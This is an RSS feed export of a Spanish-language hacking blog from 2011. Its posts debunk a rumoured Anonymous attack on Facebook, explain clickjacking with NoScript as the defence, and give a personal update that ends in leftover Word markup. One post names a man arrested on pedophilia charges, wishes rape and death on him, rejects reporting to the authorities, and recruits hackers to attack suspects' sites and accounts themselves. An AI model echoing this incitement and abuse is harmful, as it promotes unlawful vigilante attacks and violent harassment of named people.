<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2enclosuresfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><title>H4x0r Security Blog</title><link>http://h4xxor.blogspot.com/</link><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/H4xxorSecurityBlog" /><description>Blog Enfocado A la Seguridad Informatica El Hacking y Exploits.Hacking,Exploits,Seguridad Web,Bugs,Virus,Descargas de Programas de Hacking,Defacing,Noticias Open source,Videos ,Manuales en fin un mundo diferente</description><language>en</language><managingEditor>noreply@blogger.com (Bryant Alston)</managingEditor><lastBuildDate>Sat, 05 Nov 2011 07:24:23 PDT</lastBuildDate><generator>Blogger http://www.blogger.com</generator><openSearch:totalResults xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/">125</openSearch:totalResults><openSearch:startIndex xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/">1</openSearch:startIndex><openSearch:itemsPerPage xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/">25</openSearch:itemsPerPage><feedburner:info uri="h4xxorsecurityblog" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item><title>Anonymous Desmiente Ataque En facebook. Un Hoax</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/3qJ7Z0y630I/anonymous-desmiente-ataque-en-facebook.html</link><category>lammers</category><category>hoax</category><category>Noticias Informaticas</category><category>Noticias</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Sat, 13 Aug 2011 12:16:13 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-6996716697830118877</guid><description>algo que a traido un poco de confusion los ultimos dias y a medida que se acerca el 5 de noviembre la pregunta entre los ./Geeks ./Expertos En seguridad ./Hackers ./Usuarios en general.
&lt;br /&gt;
&lt;br /&gt;Anonymous No Atacara a Facebook.
&lt;br /&gt;
&lt;br /&gt;Segun fuentes o Alguna informacion que se filtro en la red y un video asegura que Facebook viola las politicas de privacidad de los usuarios (cosa que es verdad) y que ellos venden su iformacion a agencias privadas sin el consentimiento de sus usuarios (otra cosa real) aqui el supuesto video:
&lt;br /&gt;
&lt;br /&gt;&lt;a href="http://youtu.be/FceX9zEgE50"&gt;Video&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;Ok ahora la informacion o la gente (incluyendome) pensaron wow! Anonymous va a hacer un gran ataque a Facebook, y yo con mi mente tan aventurera me dije ok atacaran a facebook como un Ddos? un defacement, una escalda de privilegios, un stack en los softwares que manejan el gigante social.
&lt;br /&gt;
&lt;br /&gt;en mi mente vinieron muchos servidores, que manejan a otros servidores (que operan como terminales) y se conectan a otros servidores que a su vez conectan con otros.
&lt;br /&gt;
&lt;br /&gt;Suena algo gigantezco no? si lo es . y empeze a imaginarme un Ddos en contra de esos servidores que manejan a otros servidores y que se conectan a otros servidores, sin contar los firewalls, pots, y protocolos de seguridad.
&lt;br /&gt;
&lt;br /&gt;y rapido mi mente en solo 10 minutos estaba botando ya humo, empeze a pensar ok si anonymous es anonimo por que esta info esta tan filtrada en la red y de donde viene este video, si el grupo anonymous no es un simple grupo de "hackers" si no somos todos.
&lt;br /&gt;
&lt;br /&gt;Curiosamente el video original fue borrado de youtube asi como el usuario que lo subio, y pues me di la tarea de buscar por que me parece una Operacion muy grande a llevarse a cabo y fue suficiente para saber que rapidamente como aparecio la info rapido la desmintieron.
&lt;br /&gt;
&lt;br /&gt;AnonymouSabu dijo en su cuenta de facebook:
&lt;br /&gt;
&lt;br /&gt;&lt;div class="tweet-row"&gt;               &lt;span class="tweet-user-name"&gt;   &lt;a class="tweet-screen-name user-profile-link" id="268670470" href="http://twitter.com/#%21/anonymouSabu" title="The Real Sabu"&gt;anonymouSabu&lt;/a&gt;   &lt;span class="tweet-full-name"&gt;The Real Sabu&lt;/span&gt;   &lt;/span&gt;       &lt;div class="tweet-corner"&gt;         &lt;div class="tweet-meta"&gt;   &lt;span class="icons"&gt;                   &lt;div class="extra-icons"&gt;       &lt;span class="inlinemedia-icons"&gt;&lt;/span&gt;       &lt;/div&gt;   &lt;/span&gt; &lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt;     &lt;div class="tweet-row"&gt;       &lt;div class="tweet-text pretty-link"&gt;Thank you to my brothers at &lt;a class="  twitter-atreply" name="anonops" href="http://twitter.com/anonops" rel="nofollow"&gt;&lt;span class="at"&gt;@&lt;/span&gt;&lt;span class="at-text"&gt;anonops&lt;/span&gt;&lt;/a&gt; and &lt;a class="  twitter-atreply" name="anonyOpsIndo" href="http://twitter.com/anonyOpsIndo" rel="nofollow"&gt;&lt;span class="at"&gt;@&lt;/span&gt;&lt;span class="at-text"&gt;anonyOpsIndo&lt;/span&gt;&lt;/a&gt; for exposing the fact that &lt;a href="http://twitter.com/#%21/search?q=%23opFacebook" title="#opFacebook" class="  twitter-hashtag" rel="nofollow"&gt;&lt;span class="hash"&gt;#&lt;/span&gt;&lt;span class="hash-text"&gt;opFacebook&lt;/span&gt;&lt;/a&gt; is bullshit and does not exist.&lt;/div&gt;     &lt;/div&gt;            &lt;a href="http://twitter.com/#%21/anonymouSabu/status/101340440271396865" class="tweet-timestamp" title="10:13 AM Aug 10th"&gt;&lt;span class="_old-timestamp" time="1312996418000" form="true"&gt;10 Aug&lt;/span&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;o sea desmentido el ataque y como posteo en su cuenta de twitter AnonOps
&lt;br /&gt;&lt;div class="tweet-row"&gt;     &lt;div class="tweet-text tweet-text-large"&gt;TO PRESS: MEDIAS OF THE WORLD... STOP LYING! &lt;a href="http://twitter.com/#%21/search?q=%23OpFacebook" title="#OpFacebook" class="  twitter-hashtag" rel="nofollow"&gt;&lt;span class="hash"&gt;#&lt;/span&gt;&lt;span class="hash-text"&gt;OpFacebook&lt;/span&gt;&lt;/a&gt; is just ANOTHER FAKE! WE DONT "KILL" THE MESSENGER. THAT'S NOT OUR STYLE &lt;a href="http://twitter.com/#%21/search?q=%23Anonymous" title="#Anonymous" class="  twitter-hashtag" rel="nofollow"&gt;&lt;span class="hash"&gt;#&lt;/span&gt;&lt;span class="hash-text"&gt;Anonymous&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;   &lt;/div&gt;           &lt;a href="http://twitter.com/#%21/anonops/status/101152229087657984" class="tweet-timestamp" title="9:45 PM Aug 9th"&gt;&lt;span class="_old-timestamp" time="1312951545000" form="true"&gt;9 Aug&lt;/span&gt;&lt;/a&gt;          &lt;span class="tweet-source"&gt;via web
&lt;br /&gt;
&lt;br /&gt;y
&lt;br /&gt;
&lt;br /&gt;&lt;/span&gt;Dont be silly. Important things are happening in the world to deal with quirks like &lt;a href="http://twitter.com/#%21/search?q=%23OpFacebook" title="#OpFacebook" class="  twitter-hashtag" rel="nofollow"&gt;&lt;span class="hash"&gt;#&lt;/span&gt;&lt;span class="hash-text"&gt;OpFacebook&lt;/span&gt;&lt;/a&gt;. Lets keep our style &amp;amp; moral &lt;a href="http://twitter.com/#%21/search?q=%23Anonymous" title="#Anonymous" class="  twitter-hashtag" rel="nofollow"&gt;&lt;span class="hash"&gt;#&lt;/span&gt;&lt;span class="hash-text"&gt;Anonymous&lt;/span&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;ok entonces quien es este grupo que aseguran que "Atacaran" a facebook el 5 de noviembre? un grupo que no necesariamente sea de Anonymous oficial pero pues son Anonimos, la noticia o Hoax a llegado ser tan desconcertante que en el site  de Geohot un site que ofrecen jailbreaks y cosas  pusieron la manera de "supuestamente" protegerte del "supuesto" ataque ;
&lt;br /&gt;
&lt;br /&gt;Como Protegerte del Ataque del 5 de Noviembre clickea &lt;a href="http://www.geohot.us/2011/08/protect-your-facebook-profile-from.html"&gt;aqui&lt;/a&gt;.
&lt;br /&gt;
&lt;br /&gt;jajajaja tipico
&lt;br /&gt;
&lt;br /&gt;ok continuemos esta es la supuesta pagina de los que originaron toda esta Vendeta
&lt;br /&gt;
&lt;br /&gt;Sitio Oficial de &lt;a href="http://www.facebook.com/pages/Anonymous-Op-FaceBook/167415519984690?sk=wall"&gt;OperacionFacebook &lt;/a&gt;Click
&lt;br /&gt;
&lt;br /&gt;Cuenta de &lt;a href="http://twitter.com/#%21/OpFacebook"&gt;Twitter&lt;/a&gt; .
&lt;br /&gt;
&lt;br /&gt;y Un chat para que se comuniquen los usuarios jajaja &lt;a href="http://piratepad.net/nQ61THe8ht"&gt;Click aqui&lt;/a&gt; .
&lt;br /&gt;
&lt;br /&gt;un post de ellos y pueden ver las fechas jajaja miren;
&lt;br /&gt;&lt;h6 class="uiStreamMessage" ft="{&amp;quot;type&amp;quot;:1}"&gt;&lt;div class="actorName actorDescription" ft="{&amp;quot;type&amp;quot;:2}"&gt;&lt;a href="http://www.facebook.com/pages/Anonymous-Op-FaceBook/167415519984690" hovercard="/ajax/hovercard/page.php?id=167415519984690"&gt;Anonymous: #Op Face.Book&lt;/a&gt;&lt;/div&gt; &lt;span class="messageBody" ft="{&amp;quot;type&amp;quot;:3}"&gt;Time is coming, who is ready to do this?&lt;/span&gt;&lt;/h6&gt;&lt;span class="uiStreamFooter"&gt;&lt;span class="uiStreamSource" ft="{&amp;quot;type&amp;quot;:26}"&gt;&lt;a href="http://www.facebook.com/permalink.php?story_fbid=168711589855083&amp;amp;id=167415519984690"&gt;&lt;abbr title="miércoles, 25 de mayo de 2011 a las 8:40" date="Wed, 25 May 2011 08:40:18 -0700"&gt;25 de mayo a las 8:40&lt;/abbr&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class="UIActionLinks UIActionLinks_bottom" ft="{&amp;quot;type&amp;quot;:&amp;quot;20&amp;quot;}"&gt; · &lt;button class="like_link stat_elem as_link" title="Señalar que te gusta" type="submit" name="like" ft="{&amp;quot;type&amp;quot;:22}"&gt;&lt;span class="default_message"&gt;Me gusta&lt;/span&gt;&lt;/button&gt; ·
&lt;br /&gt;
&lt;br /&gt;lol bueno gente tal ataque no ocurrira solo es un simple hoax de alguien que quiere atencion, aunque siempre es bueno mantener sus cuentas protegidas con la mayor privacidad posible etc. pero no ocurrira tal ataque solo imaginen la estructura de facebook ser atacada.
&lt;br /&gt;
&lt;br /&gt;estamos hablando de 50,000 servidores Linux, centro de datos (Data centers) como cuartos de refrigeracion cada uno con su protocolo interno de seguridad individual, tanto fisico, como remoto, potentes prosesadores AMD por cierto. o sea hablamos tambien de mas de 2,000 servidores Mysql, y servidores de mejoras de memoria o sea la infraestructura de los servidores es una res super compleja.
&lt;br /&gt;
&lt;br /&gt;se me hace dificil pensar que bajarian "FACEBOOK" con Ddos en fin esperemos que esta guerra sea un hoax.
&lt;br /&gt;
&lt;br /&gt;Las luchas de Anon son contra las empresas que abusan de su poder aunque facebook lo hace, y el gobierno.
&lt;br /&gt;
&lt;br /&gt;Buenas Tardes jajajajajajaja
&lt;br /&gt;
&lt;br /&gt;_Bryant
&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-6996716697830118877?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/3qJ7Z0y630I" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-13T12:16:13.134-07:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2011/08/anonymous-desmiente-ataque-en-facebook.html</feedburner:origLink></item><item><title>Hacker Boricua Retomando acciones en contra de la pedofilia a nivel Isla</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/LZZWN79iPJM/hacker-boricua-retomando-acciones-en.html</link><category>ataques</category><category>pedofilos</category><category>hackers</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Mon, 13 Jun 2011 17:25:28 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-8888665738467484430</guid><description>Bueno hace tiempo el hacktivismo se habia caido aqui en Puerto Rico la verdad que no muchos tomaban las actividades ya que tenemos vidas sociales (reales).&lt;br /&gt;&lt;br /&gt;Ok todo este tiempo que estubimos offline veia al menos mensualmente noticias de como los pedofilos viajan hacia la isla, y algunas actividades inusuales.&lt;br /&gt;&lt;br /&gt;Jay Fonseca Publico en su sitio &lt;a href="http://www.jayfonseca.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=1301:mi-reaccion-ante-el-arresto-de-alexis&amp;amp;catid=41:publicaciones-de-jay-fonseca&amp;amp;Itemid=169"&gt;web una reaccion&lt;/a&gt; hacia el arresto de Alexis D. Negron Cruz su web master del sitio web &lt;a href="http://www.blogger.com/www.jayfonseca.com"&gt;www.jayfonseca.com&lt;/a&gt; alegadamente arrestado por cargos de pedofilia y estupideces de idiotas que no tienen cabezas.&lt;br /&gt;&lt;br /&gt;es evidente que una vez el F.B.I arresta a alguien es por que ya habia una investigacion o sea en otras palabras y en resumen el tipo es un puerco, cerdo que no merece vivir.&lt;br /&gt;&lt;br /&gt;Pero aqui en h4xxor security no nos importa el F.B.I ni tampoco menos quien es Jay Fonseca y Mucho menos Alexis D.Negron Cruz (Pedofilo Que deberia ser Violado 2,000 VECES) xD, pues decidimos abrir nuevamente nuestro Movimiento en contra de la pedofilia.&lt;br /&gt;&lt;br /&gt;esta vez sera un poco diferente antes habiamos habilitado un correo para que nos reportaran sitios webs etc de las actividades de estos cerdos humano pero esta vez el correo se habilitara para solamente reportar emails de estos individuos nosotros nos encargaremos de que hacer con ellos.&lt;br /&gt;&lt;br /&gt;este blog no se solidariza con la divulgacion de informacion a las autoridades ya que es falta de etica y obviamente por que las autoridades no hacen nada asiq ue es mejor que nosotros mismos nos encarguemos de atacar a estos sitios.&lt;br /&gt;&lt;br /&gt;&lt;div class="ValueField" id="DefaultAssocVal" title="hunting.pedos@hotmail.com"&gt;                 hunting.pedos@hotmail.com en este email podran enviar emails de estas lacras que sepan que son emails de estas lacras o sea investigar casos etc, eso incluye perfiles de facebook (que hay muchos) o twitter.&lt;br /&gt;&lt;br /&gt;Estamos trabajando en un sitio web que subiremos y lo estaremos monitoreando para afiliarlo con agencias que se dedican a lo mismo asi como grupo de hackers que se quieran unir a esta causa que aun es dificil acabar con ellos pero unidos se puede...&lt;br /&gt;&lt;br /&gt;si otros grupos de hackers o entusiastas a la informatica se quieren unir simplemente dejenmelo saber pueden enviar un email a la cuenta dada o seguir actualizaciones por twitter el sitio web esperamos subirlo para este mismo viernes!!&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;hunting.pedos@hotmail.com&lt;br /&gt;&lt;br /&gt;y un Mensaje a Jay Fonseca sabemos que no tienes culpa de las personas que estan extentas de tu capacidad mental para administrar un sitio web o algo pero una vez una lacra de estas es cachada con las manos en la masa es si o si haci que gordito cabron, no le de beneficio de duda pedazo de pendejo!!! :-]&lt;br /&gt;&lt;br /&gt;salu2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-8888665738467484430?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/LZZWN79iPJM" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-13T17:25:28.772-07:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2011/06/hacker-boricua-retomando-acciones-en.html</feedburner:origLink></item><item><title>El clickjacking en Facebook de Nuevo en moda</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/uI5J_wEHXBc/el-clickjacking-en-facebook-de-nuevo-en.html</link><category>Noticias</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Thu, 02 Jun 2011 14:55:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-2985614688782949655</guid><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-4R23qpp929E/TegEEDIdJaI/AAAAAAAAAGo/pw2cceG_MXQ/s1600/click.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 97px;" src="http://4.bp.blogspot.com/-4R23qpp929E/TegEEDIdJaI/AAAAAAAAAGo/pw2cceG_MXQ/s320/click.jpg" alt="" id="BLOGGER_PHOTO_ID_5613741403124082082" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Bueno uff que tanto tiempo sin darme la vuelta por aca es que mi vida real cada vez se ocupa mas de mi vida cibernetica,.&lt;br /&gt;&lt;br /&gt;Pues despues de tanto tiempo me doy la vueltita por aca usualmente me la paso en facebook, compartiendo con mis amistades, con mi familia etc lo usual de una persona comun y corriente. pero a la vez como entusiasta de la informatica me he dado de cuenta que se a puesto de moda el clickjacking Una tecnica usada por hackers o como le quieran llamar para hacerce de cuentas de emails, passwords e informacion personal del usuario Victima xD.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Entonces que es el Susodicho Clickjacking?&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;Vamos a poner la definicion para el usuario normal, y para los mas experimentado es tan sencillo que es el secuestro de clicks -&amp;gt; o_0 secuestro de click? si a veces la pasamos en facebook y vemos estos videitos que dicen por ejemplo " Padre atrapa a su hija teniendo Sexo con 20 " o Miren como asesinan a esta muchacha por tener un amamente en facebook" etc etc etc lo que hace el clickjacking es ocultar un boton sobre otro boton ... o_0&lt;br /&gt;&lt;br /&gt;queeeeeee? si detras de este boton que le das con tu click existe un pequeño script que puede instalar aplicaciones no deseadas en tu computadora u/o ordenador como keyloggers ( para robar lo que tecleas ) etc .&lt;br /&gt;&lt;br /&gt;y lo que se esta haciendo de mas moda es el modo de clickjacking que redirigen a otra pagina que de alguna manera u otra te pide acceso a tu cuenta de facebook o twitter ( una tecnica un poco lamosa) dado que la idea de hacer clickjacking es que no tengas que pedirle nada a la victima.. que sea automatizado. osea una especie de clickjacking/phishing.&lt;br /&gt;&lt;br /&gt;Y entonces como se protegen es tan sencillo como descargar el plugin para firefox (No Script) con este plugin funciona bloqueando los scripts no deseados, o clickeadas o burradas que hagas para que no vayas de conquistador clickeando cada estupidez que ves por facebook aplica para twitter tambien xD..&lt;br /&gt;&lt;br /&gt;asi que la proxima vez amigos no anden de locos creyendose todo lo que ven en facebook.. en fin estoy preparando un sandbox ahora mismo para mostrarle unos buenos ejemplos de clickjacking en tiempo real..&lt;br /&gt;&lt;br /&gt;Para Descargar Firefox &lt;a href="http://www.mozilla.com/en-US/firefox/new/"&gt;Aqui&lt;/a&gt;&lt;br /&gt;Para Descargar el Plugin de Firefox No Script  &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/noscript/"&gt;Aqui&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-2985614688782949655?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/uI5J_wEHXBc" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-02T14:55:00.058-07:00</app:edited><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-4R23qpp929E/TegEEDIdJaI/AAAAAAAAAGo/pw2cceG_MXQ/s72-c/click.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2011/06/el-clickjacking-en-facebook-de-nuevo-en.html</feedburner:origLink></item><item><title>despues de tanto tiempo xD</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/9hAGzRaFrVM/despues-de-tanto-tiempo-xd.html</link><category>personal</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Mon, 03 Jan 2011 12:57:01 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-3089071770484484504</guid><description>Bueno de muchas cosas me e perdido este tiempo? (no tento) estube una larga temporada inactivo y la verdad es que si entraba por aqui miraba el blog y me daba mucha weba postear algo inventarme algo..&lt;br /&gt;&lt;br /&gt;estube mucho tiempo con mi familia disfrutando de mis hijos y mi esposa (la mejor parte ^_^) y realmente pues como muchos cumpliendo con mis deberes sociales/militares/ociosos...&lt;br /&gt;&lt;br /&gt;la realidad que pues despues de estructurar mi tiempo un poco para dedicarme a todo &lt;esposa,hijos,programacion,seguridad&gt; pues decidi regresar por aqui.&lt;br /&gt;&lt;br /&gt;despues de estar las ultimas 2 semanas leyendo blogs,foros,comunidades, paginas webs a ver que es lo que esta pasando en la escena y ponerme al dia pues saque una conclusion..&lt;br /&gt;&lt;br /&gt;Nada realmente cambia, con la unica diferencia que ahora los ni&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:trackmoves/&gt;   &lt;w:trackformatting/&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:donotpromoteqf/&gt;   &lt;w:lidthemeother&gt;EN-US&lt;/w:LidThemeOther&gt;   &lt;w:lidthemeasian&gt;X-NONE&lt;/w:LidThemeAsian&gt;   &lt;w:lidthemecomplexscript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:splitpgbreakandparamark/&gt;    &lt;w:dontvertaligncellwithsp/&gt;    &lt;w:dontbreakconstrainedforcedtables/&gt;    &lt;w:dontvertalignintxbx/&gt;    &lt;w:word11kerningpairs/&gt;    &lt;w:cachedcolbalance/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;   &lt;m:mathpr&gt;    &lt;m:mathfont val="Cambria Math"&gt;    &lt;m:brkbin val="before"&gt;    &lt;m:brkbinsub val="&amp;#45;-"&gt;    &lt;m:smallfrac val="off"&gt;    &lt;m:dispdef/&gt;    &lt;m:lmargin val="0"&gt;    &lt;m:rmargin val="0"&gt;    &lt;m:defjc val="centerGroup"&gt;    &lt;m:wrapindent val="1440"&gt;    &lt;m:intlim val="subSup"&gt;    &lt;m:narylim val="undOvr"&gt;   &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" defunhidewhenused="true" defsemihidden="true" defqformat="false" defpriority="99" latentstylecount="267"&gt;   &lt;w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Normal"&gt;   &lt;w:lsdexception locked="false" priority="9" semihidden="false" unhidewhenused="false" qformat="true" name="heading 1"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 2"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 3"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 4"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 5"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 6"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 7"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 8"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 9"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 1"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 2"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 3"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 4"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 5"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 6"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 7"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 8"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 9"&gt;   &lt;w:lsdexception locked="false" priority="35" qformat="true" name="caption"&gt;   &lt;w:lsdexception locked="false" priority="10" semihidden="false" unhidewhenused="false" qformat="true" name="Title"&gt;   &lt;w:lsdexception locked="false" priority="1" name="Default Paragraph Font"&gt;   &lt;w:lsdexception locked="false" priority="11" semihidden="false" unhidewhenused="false" qformat="true" name="Subtitle"&gt;   &lt;w:lsdexception locked="false" priority="22" semihidden="false" unhidewhenused="false" qformat="true" name="Strong"&gt;   &lt;w:lsdexception locked="false" priority="20" semihidden="false" unhidewhenused="false" qformat="true" name="Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="59" semihidden="false" unhidewhenused="false" name="Table Grid"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Placeholder Text"&gt;   &lt;w:lsdexception locked="false" priority="1" semihidden="false" unhidewhenused="false" qformat="true" name="No Spacing"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Revision"&gt;   &lt;w:lsdexception locked="false" priority="34" semihidden="false" unhidewhenused="false" qformat="true" name="List Paragraph"&gt;   &lt;w:lsdexception locked="false" priority="29" semihidden="false" unhidewhenused="false" qformat="true" name="Quote"&gt;   &lt;w:lsdexception locked="false" priority="30" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Quote"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light 